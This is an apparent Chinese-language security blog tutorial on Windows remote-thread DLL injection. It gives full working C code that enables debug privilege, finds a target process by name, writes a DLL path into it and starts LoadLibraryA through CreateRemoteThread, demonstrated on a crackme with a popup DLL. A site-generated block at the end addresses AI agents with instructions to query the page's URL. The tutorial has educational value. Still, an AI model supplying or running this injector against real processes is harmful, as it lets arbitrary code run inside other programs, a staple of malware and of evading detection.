# Dll注入之远程线程注入

## 0x00 原理简介

基本思路就是让远程进程载入一个我们的dll，这样我们只要在dll里面写入相关代码，基本就可以为所欲为了。但问题是远程进程显然不可能自己调用LoadLibrary来加载我们的dll，我们就要想办法“让”它来调用。我们用CreateRemoteThread函数在远程进程中创建一个线程，线程函数的地址设为LoadLibrary的地址，线程函数参数设为“Mydll.dll”。即让远程进程调用LoadLibrary载入我们的dll，dll的主函数DllMain第二个参数ul\_reason\_for\_call 为调用原因。通过远程线程加载dll时，是以DLL\_PROCESS\_ATTACH方式加载，所以在dll的case DLL\_PROCESS\_ATTACH:下写上你要执行的代码。

这里介绍几个需要的API：

* LoadLibrary()  和  GetProcAddress()&#x20;

这两个函数，一个是加载dll库，一个是从已经加载的库句柄里拿出来某个函数的地址，可以理解成是把一个dll加到内存里，然后获取里面某个函数的地址，得到这个地址后就可以直接调用了，这两个简单的函数经常用到，无论是常规调用还是静态免杀都经常用。

* VirtualAllocEx()

在指定进程里开辟一块内存，用于存放自己的代码和参数。

* WriteProcessMemory()

里面的函数会在一个进程里开辟一块内存，然后在那个内存里直接用本函数进行数据写入，就是在别人那开一块内存然后写自己的东西。

* CreateRemoteThread()

最核心的函数，在指定进程的某个内存位置存储的函数为线程函数，启动一个线程，当然被启动的这个线程属于指定的这个进程。

## 0x01 代码实现

1.提升进程为DEBUG权限

```c
bool AdjustProcessTokenPrivilege()  
{  
    LUID luidTmp;  
    HANDLE hToken;  
    TOKEN_PRIVILEGES tkp;  

    if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))  
        return false;  


    if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidTmp))  
    {       
        CloseHandle(hToken);  
        return FALSE;  
    }  
    tkp.PrivilegeCount = 1;  
    tkp.Privileges[0].Luid = luidTmp;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  

    if(!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))  
    {  
        CloseHandle(hToken);  
        return FALSE;  
    }  
    return true;  
}
```

2.获取宿主进程的pid

```c
DWORD GetPid(char *szName)
{
    HANDLE hprocessSnap=NULL;
    PROCESSENTRY32  pe32 ={0};
    hprocessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if(hprocessSnap == (HANDLE)-1){return 0;}
    pe32.dwSize=sizeof(PROCESSENTRY32);
    if(Process32First(hprocessSnap,&pe32))
    {
        do{
        if(!strcmp(szName,pe32.szExeFile))
            return (int)pe32.th32ProcessID;
        }while(Process32Next(hprocessSnap,&pe32));
    }
    else
        CloseHandle(hprocessSnap);
    return 0;
}
```

3.获取目标进程句柄，在目标进程分配dll路径名长度+1大小的内存,并拷贝dll路径名字到目标进程的内存

```c
hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessID);
if(hProcess==NULL)
{
    printf("OPENPROCESS Error ! \n");
    return FALSE;
}

dwLength =strlen(szDllPathName)+1;
lpAllocAddr=VirtualAllocEx(hProcess,NULL,dwLength,MEM_COMMIT,PAGE_READWRITE);
if(lpAllocAddr==NULL)
{
    printf("VIRTUALALLOCEX Error !  \n");
    GetLastError();
    CloseHandle(hProcess);
    return FALSE;
}

bRet = WriteProcessMemory(hProcess,lpAllocAddr,szDllPathName,dwLength,NULL);
if(!bRet)
{
    printf("WriteProcessMemory Error ! \n");
    GetLastError();
    CloseHandle(hProcess);
    return FALSE;
}
```

4.由于kernel32.dll基址相同，所以利用GetModuleHandle()和GetProcAddress() 获取kernel模块基址和找到LoadLibrary函数地址(两程序中地址一样).

```c
hModule =GetModuleHandle("kernel32.dll");
if (!hModule)
{
    printf("GetModuleHandle Error !\n");
    GetLastError();
    CloseHandle(hProcess);
    return FALSE;
}

dwLoadAddr=(DWORD)GetProcAddress(hModule,"LoadLibraryA");
if (!dwLoadAddr)
{
    printf("GetProcAddress Error !\n");
    GetLastError();
    CloseHandle(hProcess);
    CloseHandle(hModule);
    return FALSE;
}
```

5.万事俱备，只欠东风，还差最后一步。CreateRemoteThread()这个函数，这时只要将你得到的LoadLibraryA函数地址传进去，留意一下参数

```c
HANDLE WINAPI CreateRemoteThread（
  _In_ HANDLE hProcess，
  _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes，
  _In_ SIZE_T dwStackSize，
  _In_ LPTHREAD_START_ROUTINE lpStartAddress，
  _In_ LPVOID lpParameter，
  _In_ DWORD dwCreationFlags，
  _Out_ LPDWORD lpThreadId
）;
```

这里第4个参数为指向由线程执行的LPTHREAD\_START\_ROUTINE类型的应用程序定义函数的指针，表示远程进程中线程的起始地址。所以我们要将我们的LoadLibraryA函数地址强制转换成LPTHREAD\_START\_ROUTINE类型。第五个为写入目标进程参数的地址。代码如下：

```c
hThread =CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)dwLoadAddr,lpAllocAddr,0,NULL);
if (!hThread)
{
    printf("CreatRemoteTread Error !\n");
    GetLastError();
    CloseHandle(hProcess);
    CloseHandle(hModule);
    return FALSE;
}
```

## 0x02 运行结果

* 测试环境为win10 x64
* 实验程序为[crackme.exe](https://github.com/yxshyj/project/blob/master/other/crackme.exe)
* 测试工具为火绒剑
* Mydll功能就一个弹窗

![](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LckC1dmB2Mb2F1Bgx_H%2Fuploads%2F4tyMtlV8mJa0Bjt4DOXq%2Ffile.png?alt=media)

![](/files/-Ld7SW3darqKzmWWJ1wA)

## 0x03 完整代码

```c
#include<stdio.h>
#include<windows.h>
#include<stdlib.h>
#include<Tlhelp32.h.>

bool AdjustProcessTokenPrivilege()  
{  
    LUID luidTmp;  
    HANDLE hToken;  
    TOKEN_PRIVILEGES tkp;  

    if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))  
        return false;  


    if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidTmp))  
    {       
        CloseHandle(hToken);  
        return FALSE;  
    }  
    tkp.PrivilegeCount = 1;  
    tkp.Privileges[0].Luid = luidTmp;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  

    if(!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))  
    {  
        CloseHandle(hToken);  
        return FALSE;  
    }  
    return true;  
}  

DWORD GetPid(char *szName)
{
    HANDLE hprocessSnap=NULL;
    PROCESSENTRY32  pe32 ={0};
    hprocessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if(hprocessSnap == (HANDLE)-1){return 0;}
    pe32.dwSize=sizeof(PROCESSENTRY32);
    if(Process32First(hprocessSnap,&pe32))
    {
        do{
            if(!strcmp(szName,pe32.szExeFile))
                return (int)pe32.th32ProcessID;
        }while(Process32Next(hprocessSnap,&pe32));
    }
    else
        CloseHandle(hprocessSnap);
    return 0;
}



BOOL LoadDll(DWORD dwProcessID,char *szDllPathName)
{
    BOOL bRet;
    HANDLE hProcess;
    HANDLE hThread;
    DWORD dwLength;
    DWORD dwLoadAddr;
    LPVOID lpAllocAddr;
    HMODULE hModule;

    bRet=0;
    dwLoadAddr=0;
    hProcess =0;

    // #0.提升进程为DEBUG权限
    if(!AdjustProcessTokenPrivilege())  
    {            printf("提权失败\n");
    return 0;  
    }

    // #1.获取进程句柄
    hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessID);
    if(hProcess==NULL)
    {
        printf("OPENPROCESS Error ! \n");
        return FALSE;
    }
    // #2.计算dll路径长度(加上'\0')
    dwLength =strlen(szDllPathName)+1;

    // #3.在目标进程分配内存
    lpAllocAddr=VirtualAllocEx(hProcess,NULL,dwLength,MEM_COMMIT,PAGE_READWRITE);

    if(lpAllocAddr==NULL)
    {
        printf("VIRTUALALLOCEX Error !  \n");
        GetLastError();
        CloseHandle(hProcess);
        return FALSE;
    }

    // #4.拷贝dll路径名字到目标进程的内存
    bRet = WriteProcessMemory(hProcess,lpAllocAddr,szDllPathName,dwLength,NULL);

    if(!bRet)
    {
        printf("WriteProcessMemory Error ! \n");
        GetLastError();
        CloseHandle(hProcess);
        return FALSE;
    }
    // #5.获取模块地址
    hModule =GetModuleHandle("kernel32.dll");
    if (!hModule)
    {
        printf("GetModuleHandle Error !\n");
        GetLastError();
        CloseHandle(hProcess);
        return FALSE;
    }
    // #6.获取LoadLibraryA 函数地址
    dwLoadAddr=(DWORD)GetProcAddress(hModule,"LoadLibraryA");
    if (!dwLoadAddr)
    {
        printf("GetProcAddress Error !\n");
        GetLastError();
        CloseHandle(hProcess);
        CloseHandle(hModule);
        return FALSE;
    }
    // #7.创建远程线程,加载dll
    hThread =CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)dwLoadAddr,lpAllocAddr,0,NULL);
    if (!hThread)
    {
        printf("CreatRemoteTread Error !\n");
        GetLastError();
        CloseHandle(hProcess);
        CloseHandle(hModule);
        return FALSE;
    }
    // #8.关闭进程句柄
    CloseHandle(hProcess);

    return TRUE;
}

int main()
{
    LoadDll(GetPid("目标进程名"),"dll路径名");
    return 0;
}
```

## 0x04 总结感悟

现已加入安全软件检测豪华套餐......


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://b0ldfrev.gitbook.io/note/windows_operating_system/dll-zhu-ru-zhi-yuan-cheng-xian-cheng-zhu-ru.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
